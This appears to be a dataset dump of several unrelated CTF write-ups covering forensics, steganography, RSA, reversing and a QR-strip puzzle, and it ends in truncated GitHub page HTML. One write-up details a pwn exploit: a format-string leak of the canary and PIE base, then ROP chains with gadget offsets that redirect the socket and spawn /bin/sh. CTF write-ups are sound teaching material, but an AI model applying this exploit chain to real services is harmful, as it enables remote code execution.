text_chunk
stringlengths
151
703k
```$ foremost -v classified_gift_distribution_schema.img Foremost version 1.5.7 by Jesse Kornblum, Kris Kendall, and Nick MikusAudit File Foremost started at Thu Dec 20 21:32:15 2018Invocation: foremost -v classified_gift_distribution_schema.imgOutput directory: /home/h4ck7u5/Downloads/xmasctf/2018/message_from_santa/outputConfiguration file: /etc/foremost.confProcessing: classified_gift_distribution_schema.img File: classified_gift_distribution_schema.imgStart: Thu Dec 20 21:32:15 2018Length: 10 MB (10485760 bytes) Num Name (bs=512) Size File Offset Comment 0: 00003184.jpg 109 KB 1630208 1: 00000080.png 4 KB 40960 (273 x 187)2: 00000092.png 3 KB 47104 (273 x 187)3: 00000100.png 33 KB 51200 (273 x 273)4: 00000168.png 45 KB 86016 (273 x 273)5: 00000260.png 4 KB 133120 (273 x 273)6: 00000272.png 24 KB 139264 (273 x 273)7: 00000324.png 40 KB 165888 (273 x 273)8: 00000408.png 105 KB 208896 (273 x 273)9: 00000620.png 8 KB 317440 (273 x 187)10: 00000640.png 70 KB 327680 (273 x 273)11: 00000784.png 35 KB 401408 (273 x 273)12: 00000856.png 51 KB 438272 (273 x 273)13: 00000960.png 45 KB 491520 (273 x 273)14: 00001052.png 71 KB 538624 (273 x 273)15: 00001196.png 101 KB 612352 (273 x 273)16: 00001400.png 49 KB 716800 (273 x 273)17: 00001500.png 75 KB 768000 (273 x 273)18: 00001652.png 5 KB 845824 (273 x 273)19: 00001664.png 40 KB 851968 (273 x 273)20: 00001748.png 45 KB 894976 (273 x 273)21: 00001840.png 67 KB 942080 (273 x 273)22: 00001976.png 25 KB 1011712 (273 x 273)23: 00002028.png 79 KB 1038336 (273 x 273)24: 00002188.png 58 KB 1120256 (273 x 273)25: 00002308.png 950 B 1181696 (273 x 273)26: 00002312.png 33 KB 1183744 (273 x 273)27: 00002380.png 88 KB 1218560 (273 x 273)28: 00002560.png 55 KB 1310720 (273 x 273)29: 00002672.png 3 KB 1368064 (273 x 187)30: 00002680.png 92 KB 1372160 (273 x 273)31: 00002868.png 79 KB 1468416 (273 x 273)32: 00003028.png 61 KB 1550336 (273 x 273)33: 00003152.png 3 KB 1613824 (273 x 187)34: 00003160.png 3 KB 1617920 (273 x 187)35: 00003168.png 6 KB 1622016 (273 x 187) Finish: Thu Dec 20 21:32:15 2018 36 FILES EXTRACTED jpg:= 1 png:= 35 Foremost finished at Thu Dec 20 21:32:15 2018```... append the images to one file ```$ convert +append ./output/png/*.png OUT.png```... install gaps to solve the puzzle and get the image-size with exiftool ```$ exiftool ./output/png/00000080.png | grep -i "width"```Image Width : **273** Virtual Image Width : 1913 ```$ gaps --image=OUT.png --generations=20 --population=600 --size=273```... finally read the flag from the image :-) **X-MAS{1t_l00k5_l1k3_s4nta_m4de_4_m1stak3_sorry}**
# Unown Gift (487 PTS) ### Description >Oh, how sweet, you've just received a gift from someone! Sadly, you can't really wrap your head around how it's supposed to be opened...>> _Authors: Milkdrop + Gabies + PinkiePie1189_ Files:- [UnownGift](https://drive.google.com/file/d/1E_7RIesgsxljZlinuAH7KbVaSmmVwv-h/edit) Flag: ```X-MAS{Wh4t_4n_un3xp3ct3d_chr1stm45_pr3s3nt}``` ### Solution Given file is quite large and it isn't recognizable by `file` utility. ```sh$ file UnownGift UnownGift: 8086 relocatable (Microsoft)``` Binwalk also can't detect anything inside the file. _MySQL indexes are useless (according to forensics experience)._ ```sh$ binwalk -B UnownGift DECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------4885395 0x4A8B93 MySQL MISAM index file Version 54919714 0x4B11A2 MySQL MISAM index file Version 104980609 0x4BFF81 MySQL MISAM index file Version 64980819 0x4C0053 MySQL ISAM compressed data file Version 74983414 0x4C0A76 MySQL MISAM index file Version 104986575 0x4C16CF MySQL MISAM index file Version 34987191 0x4C1937 MySQL MISAM index file Version 75006628 0x4C6524 MySQL MISAM index file Version 25012426 0x4C7BCA MySQL MISAM index file Version 55017673 0x4C9049 MySQL MISAM compressed data file Version 55236947 0x4FE8D3 MySQL MISAM compressed data file Version 117026558 0x6B377E MySQL MISAM compressed data file Version 913935161 0xD4A239 MySQL ISAM compressed data file Version 3``` What can we do with this **extremely** strange file? Let's try XOR! Firstly I tried to XOR the blob with every byte from `range(256)` consistently, but it was taking **too long** time due to the large file size (16 Mb). So I've turned on a _guessing ability_ and got the correct byte: `0xFF`. ```sh$ file UnownGift_XORed UnownGift_XORed: data``` Ok, now `file` completely doesn't know the file type, but let's look at `strings` ```sh$ strings UnownGift_XORed -n 10POKEMON FIREBPRE01pokemon red version...C:/WORK/POKeFRLG/src/pm_lgfr_ose/source/gflib/malloc.cC:/WORK/POKeFRLG/src/pm_lgfr_ose/source/fieldmap.cC:/WORK/POKeFRLG/src/pm_lgfr_ose/source/evobjmv.cC:/WORK/POKeFRLG/src/pm_lgfr_ose/source/scrcmd.cC:/WORK/POKeFRLG/src/pm_lgfr_ose/source/scr_tool.cC:/WORK/POKeFRLG/src/pm_lgfr_ose/source/rfu.c...``` After some googling we can find similar file, it is [Pokemon FireRed](http://pokemon.wikia.com/wiki/Pokémon_FireRed_and_LeafGreen_Version) adventure game. Ok, so `UnownGift_XORed` is [GBA](https://en.wikipedia.org/wiki/Game_Boy_Advance) ROM image, but it's differ with the original game. I used [Visual Boy Advance](https://en.wikipedia.org/wiki/VisualBoyAdvance) for GameBoy emulation, and the challenge becomes really beautiful! Instead of pokemons world, we appear in [Lapland](https://en.wikipedia.org/wiki/Lapland)! We need to make a little walk around the location. In one of these houses we'll find three pokeballs Each pokeball contains a single number, they called `n`, `c` and `e`. It's very similar to [RSA](https://en.wikipedia.org/wiki/RSA_(cryptosystem)) cryptosystem. ```pyn=0x919988e16d5192c24b43f1c7b51856b5e56789aa3fc0d3b820500dde307e414b1dd3525e19340cbc895a34b0cae3db c=0x3731a737c24e83be7ca2256ed8c1794be4aab34947441b92407420d25c6ad5b4966ab3b6ae0afbf0a2be2087e3cb e=0x9ed98456b3387cafe1439783724eb683b2434c4cdf387a3267f8421719e12fd1ccdb7fdca650afea6a42deebe21e1``` So, we've got RSA and we need to crack it. Since `e` is quite large, let's try [Wiener's attack](https://en.wikipedia.org/wiki/Wiener%27s_attack). ```py>>> d = wiener_attack(e, n)Hacked!>>> long_to_bytes(d)b'why?!'>>> m = pow(c, d, n)>>> long_to_bytes(m)b'X-MAS{Wh4t_4n_un3xp3ct3d_chr1stm45_pr3s3nt}'>>>``` And that is the flag! I used [this repository](https://github.com/pablocelayes/rsa-wiener-attack) to perform the attack. Also, the game has Pokemon battles!
# __X-MAS CTF 2018__ ## _Dataflow Programming Christmas Edition_ ## Information**Category:** | **Points:** | **Writeup Author**--- | --- | ---Reverse | 454 | MiKHalyCH **Description:** > Santa's MechaGnomes have invented some new DataFlow language that they code the factory robots' instructions. You found a weird string checker, you need to interpret the code in order to recover the string! The flag obtained from the challenge must be wrapped up like: X-MAS{flag}>>[chall](src/chall.zip)>>Authors: Gabies + littlewho ## SolutionWe have a good [manual](src/ChristmasFlow_programming_language_manual.pdf) of programming language and the [code](src/code.txt). It was to hard to write a good interpreter for this language (yeah, I spend a lot of time for it) because of treads (a.k.a. _iteration levels_). _Get ready for the real_ __EYESOLUTION__! I noticed that we can split the full code by `EQU 158L -` into blocks like this:```17 CLN 19L 27L18 SND_2 19R -19 EQU 20R -20 BRB 26L 30L 21 SND_10 22L -22 CLN 24L 25R23 SND_1 24R -24 ADD 25L -25 MUL 26R -26 EQU 158L -```and```90 CLN 92L 98L91 SND_9 92R -92 EQU 93R -93 BRB 97L 101L 94 SND_204 96L -95 SND_2 96R -96 SHR 97R -97 EQU 158L -``` Each block contains two parts: * The first block compairs some constant with some number from [0, 18] (from 0-1 lines of code). Looks like an index of flag character. * The second block calculates some integer with differend arithmetic and bitwise operations. All the values are ASCII characters. The examples above would calculate `flag[2] = chr((10 + 1) * 10) = 'n'` and `flag[9] = chr(204 >> 2) = '3'`. Now we need to calculate all characters and collect the flag!
# Suspicious Hacking Game (468 PTS) ### Description >You woke up on Christmas Day only to find this lame hacking game cartridge laying under the Christmas tree. You are certain that you were an ethical hacker this year, though, and you deserve something better. Maybe Santa has left you another present you aren't yet aware of?>>_Authors: PinkiePie1189 + Milkdrop_ Files:- [suspicious.png](https://drive.google.com/file/d/1HRBkXzI_RtJIpWP1F7Gz-1p7rbTUHkM3/edit) Flag: ```X-MAS{S4v3_Th1s_1m4g3_4nd_g3t_4_fr33_g4m3}``` ### Solution Hacker in the hood! And he said something about `hack tricks`! Should we use our _stegano skills_ to reveal the secret? Yes, of course! Look at the bottom, there is a strange colored noise. And if you look more carefully, you will see repeating horizontally lines. It completely doesn't look like a random noise! But we are absolutely not able to see that noise directly in PNG file, since PNG format performs loseless compression. How to decompress a PNG image? One of the simplest ways is convert the image to format that doesn't implement any compression: [BMP format](https://en.wikipedia.org/wiki/BMP_file_format). ```sh$ convert suspicious.png suspicious.bmp$ file suspicious.bmp suspicious.bmp: PC bitmap, Windows 98/2000 and newer format, 6000 x 6974 x 24``` Without compression the image size becomes three times large, but we still can use `binwalk` utility. ```sh$ binwalk -B suspicious.bmp DECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------138 0x8A 7-zip archive data, version 0.4173 0xAD Zip archive data, at least v2.0 to extract, compressed size: 1877, uncompressed size: 4608, name: assets/bin/Data/Managed/Assembly-CSharp.dll2143 0x85F Zip archive data, at least v2.0 to extract, compressed size: 116892, uncompressed size: 293376, name: assets/bin/Data/Managed/Mono.Security.dll702655 0xAB8BF Zip archive data, at least v2.0 to extract, compressed size: 36537, uncompressed size: 84992, name: assets/bin/Data/Managed/UnityEngine.Timeline.dll739286 0xB47D6 Zip archive data, at least v2.0 to extract, compressed size: 99198, uncompressed size: 247296, name: assets/bin/Data/Managed/UnityEngine.UI.dll838578 0xCCBB2 Zip archive data, at least v2.0 to extract, compressed size: 510452, uncompressed size: 1640960, name: assets/bin/Data/Managed/UnityEngine.dll``` Woah, it's just a [7z archive](https://en.wikipedia.org/wiki/7z)! Let's decompress it. ```sh$ 7z x suspicious.bmp 7-Zip [64] 9.20 Copyright (c) 1999-2010 Igor Pavlov 2010-11-18p7zip Version 9.20 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,4 CPUs) Processing archive: suspicious.bmp Extracting Game.apk Everything is Ok Size: 24356996Compressed: 125532138``` So, we've got an [APK](https://en.wikipedia.org/wiki/Android_application_package) file, perhaps it is an Android game. The game interface is very simple, we can only tap to the screen. We need to tap **50000** times to get the flag. It will take a very long time, so we need to perform a some kind of reverse engineering. I used [online decompiler](http://www.javadecompilers.com/apk) to decompile the apk. ```sh$ ls -1FAndroidManifest.xmlapktool.ymlassets/lib/original/res/resources/sources/``` Firsly I started to inspect _java_ files and found nothing there. I have found an interesting file `assets/bin/Data/data.unity3d`, but it didn't contain the flag. At the same time my teammate was investigating binary files from `assets/bin/Data/Managed` directory and found the flag in one of the dll's: ```sh$ ls -1FAssembly-CSharp.dllMono.Security.dllmscorlib.dllSystem.Core.dllSystem.dllUnityEngine.dllUnityEngine.Networking.dllUnityEngine.Timeline.dllUnityEngine.UI.dll $ strings -el Assembly-CSharp.dll | headTaps Till Next Letter: X-MAS{S4v3_Th1s_1m4g3_4nd_g3t_4_fr33_g4m3}VS_VERSION_INFOVarFileInfoTranslationStringFileInfo007f04b0CommentsCompanyNameFileDescription``` `-el` argument to `strings` command is used to set the correct **two-bytes little-endian** encoding.
# I want that toy, pwnFirst we get a binary and a libc, when reversing its clear that the program binds to a port, forks and then the parent closesthe fd, but the child serves the request and the respond parses and responds to the client. ![alt text](https://raw.githubusercontent.com/quantumbracket/ctf_writeups/master/xmasctf2018/I%20want%20that%20toy/iwtt_1.png) ![alt text](https://github.com/quantumbracket/ctf_writeups/raw/master/xmasctf2018/I%20want%20that%20toy/iwtt_2.png) if we run the server and access it in our browser we get something like this: ![alt text](https://github.com/quantumbracket/ctf_writeups/raw/master/xmasctf2018/I%20want%20that%20toy/iwtt_3.png) lets encode hello world as base64 and send it trough the toy parameter: ![alt text](https://github.com/quantumbracket/ctf_writeups/raw/master/xmasctf2018/I%20want%20that%20toy/iwtt_4.png) also the server logs some stuff: ![alt text](https://github.com/quantumbracket/ctf_writeups/raw/master/xmasctf2018/I%20want%20that%20toy/iwtt_5.png) Now lets try a huge string to check if there is any overflow: ![alt text](https://github.com/quantumbracket/ctf_writeups/raw/master/xmasctf2018/I%20want%20that%20toy/iwtt_6.png) Ok, there is a stack smashing detected, we are getting somewhere. Apparently the base64decode function just decodes into the buffer with no limits,its technically a strcpy ,now how do we leak the stack cookie?. one slow approach would be to try every byte of the cookie because our input its not null terminated and also because the cookie its the same between forks. but there is an easier way, in the route() function this one responds with all the html, but remember it prints our user agent? Well there is a format string vulnerability there, so we can leak a cookie and the program base(remember its PIE compiled) ![alt text](https://github.com/quantumbracket/ctf_writeups/raw/master/xmasctf2018/I%20want%20that%20toy/iwtt_7.png)(stderr and stdout are dup2'ed to the socket fd before the route() function is called) so now with $p and %7$p wa can leak the program base and the stack cookie, but there is no libc leak,what do we do now? easy, just make a rop chain that calls puts with some got address and then returns back to respond, this way we get the leak and have theopportunity to craft a new rop payload this time with libc gadgets. so our leak ropchain first looks like this: gadgets: 0x0000000000001d9b : pop rdi ; ret 0x0000000000001d99 : pop rsi ; pop r15 ; ret rop chain:pop rdi -> 4 -> pop rsi; pop r15 -> 1 -> dummy -> dup2 pop rdi -> puts.got -> puts pop rdi -> 0 -> fflush pop rdi -> 4(our socket fd is always 4) -> respond or in a simplified way: dup2(4,1) puts(puts.got) fflush(0) respond(4) dup2 is used because parse_query_string() is called before the dup2() and the route(), so our stdout will still point to stdout and not to our socket, also fflush is used to make sure puts prints the string, respond takes as parameter our socket number (its always 4) now we have to overflow again but this time with our rop shellcode: one gadget rce: 0x3f306 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL rop chain: pop rdi -> 4 -> pop rsi; pop r15 -> 3 -> dummy -> dup2 pop rdi -> 4 -> pop rsi; pop r15 -> 0 -> dummy -> dup2 (this will return 0(stdin) in rax so its just the constraint we need for the one_gadget) one_gadget or in a more simplified way: dup2(4,3) dup2(4,0) one_gadget now we execute it and get the flag: ![alt text](https://github.com/quantumbracket/ctf_writeups/raw/master/xmasctf2018/I%20want%20that%20toy/iwtt_8.png) this task took me like 3 days to complete, this was my reaction when I got the flag: https://www.youtube.com/watch?v=VZSvVkJZ8xI
# C3: Shredded - Category: Image processing- URL: <https://squarectf.com/2018/shredded.html> ## Description Instructions to disable C3 were mistaken for an advertisement for new housing on Charvis 9HD. They’ve been shredded in the final office tidy-up. Nobody bothered to empty the trash, so a bit of glue and you should be good? note: flag is in uppercase for this puzzle. ## The challenge We are given 27 images, each one of equal size and containing just black and white colours. Moreover, from the challenge description we are supposed to piece back the individual "strips" into the original image. ## Pillow For this challenge, we used [`Pillow`](https://pillow.readthedocs.io/en/5.3.x/) as our image processing library of choice to paste the pieces back together. As an initial test, we simply pieced back the images in the order of their filename: ```pythonimport os from PIL import Image images = [Image.open(os.path.join('shredded', '%s.png' % i)) for i in xrange(0, 27)]widths, heights = zip(*(i.size for i in images)) total_width = sum(widths)max_height = max(heights) new_im = Image.new('RGB', (total_width, max_height)) x_offset = 0for im in images: new_im.paste(im, (x_offset, 0)) x_offset += im.size[0] new_im.show()``` This gives us the following image: ![original](original.png) It becomes apparent that this is a QR code that we need to piece back together. ## Brute force search Initially, we tried to brute force search all possible permutations of the strips to arrange them back together. Using Pillow and [pyzbar](https://pypi.org/project/pyzbar/), we can attempt to decode the resultant image as a QR code, and if it returns a result, it means that we have found the correct permutation. Since QR has error correction capabilities (maybe not for v1), it could be possible to stumble upon the answer quickly. The code would thus look something like this: ```pythonfrom itertools import permutations from PIL import Imagefrom pyzbar.pyzbar import decode for perm in permutations(range(27)): new_im = Image.new('RGB', (total_width, max_height)) for im in images: new_im.paste(im, (x_offset, 0)) x_offset += im.size[0] data = decode(new_im) if data: print(data) new_im.show() break``` However after some quick math we realised it would take forever since there are 27! = 1.08888695e28 permutations. ## QR specification From inspecting the strips more, we realise that each strip's width is exactly the width of a single block/pixel in the QR code. Additionally, there are 6 strips which are completely white. This means that the QR code we are dealing with is 21x21, which corresponds to QR version 1. We can generate an image that helps us identify the strips by their index more easily, which will be useful later: ![with_index](with_index.png) The following is image shows the standard modules for a v1 QR code: ![QR v1](qr_v1.jpg) There are several properties that would allow us to fix the locations for certain strips: ![Properties](properties.jpg) - 3x finder patterns: Two of the finder patterns should be vertically aligned while the last one is on its own. This means that we can separate the left 7 strips from the right 7 strips. We need to permute the following: - 2x outer black border - 2x inner white border - 3x middle black square- Vertical timing pattern: This allows us to differentiate column 0 from column 6 (the black border of the finder pattern), which are the images 5 and 26 respectively.- White padding: There are two strips (3 and 7) that are not completely white, but correspond to columns 7 and 13. Since column 7 needs white modules at the bottom as well, can identify that image 3 is for column 7, and image 7 is for column 13.- Horizontal timing pattern: The remaining 5 strips belong to the middle columns, and we can use the modules at row 6 to separate columns 8, 10, 12 from 9 and 11. We can come up with a mapping of the image index to the actual index, based on the above information, but this still needs to be permuted since some of them could be in multiple positions. ```pythonleft = [ # Blank 0, 11, 9, # Black border 5, # White border 6, # 3x black inner 2, 16, 25, # White border 15, # Black border 26, # White padding 3,] middle = [ # Timing pattern is black 4, # Timing pattern is white 10, # Timing pattern is black 20, # Timing pattern is white 19, # Timing pattern is black 21,] right = [ # White padding 7, # Black border 14, # White border 18, # 3x black inner 22, 23, 24, # White border 1, # Black border 8, # Blank 12, 17, 13,] joined = left + middle + right``` The following shows the column indices that we have to permute with each other, based on the information above as well. Indices shown below correspond to the index in `joined[i]`: ```pythonpermutes = [ [4, 8], [5, 6, 7], [10, 16], [11, 13, 15], [12, 14], [17, 23], [18, 22], [19, 20, 21],]``` This search space of 6912 permutations (`2! * 3! * 2! * 3! * 2! * 2! * 2! * 3!`) can be solved in a reasonable amount of time. _P.S. On hindsight, we realised we missed out on utilising the "dark module" described above which could have reduced it even further to 2304 permutations._ ## Complete exploit The rest of the exploit is just to generate the permutations and apply the technique we tried earlier to find the flag. See [`exploit.py`](./exploit.py) for the complete Python script. ## Flag ```sh$ python exploit.pyGOOD JOB. FLAG-80AD8BCF79``` ![flag](flag.png)
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>XmasCtf2018Writeups/GreatMonolith at master · serega6531/XmasCtf2018Writeups · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="D7EF:C14D:2C084EF:2D0D8B4:64122561" data-pjax-transient="true"/><meta name="html-safe-nonce" content="5c954bfa6d1bd8e7af680eeba833bdf1698aca8135d243ca8e568c695c8f5955" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJEN0VGOkMxNEQ6MkMwODRFRjoyRDBEOEI0OjY0MTIyNTYxIiwidmlzaXRvcl9pZCI6IjY2NzA3OTk5MTI4MzIyMTQzNjkiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="7cf3fdfac2c1a90e82acdc973a61537034e0be3ff8593fb17f052766b00a2714" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:162837579" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="Contribute to serega6531/XmasCtf2018Writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" 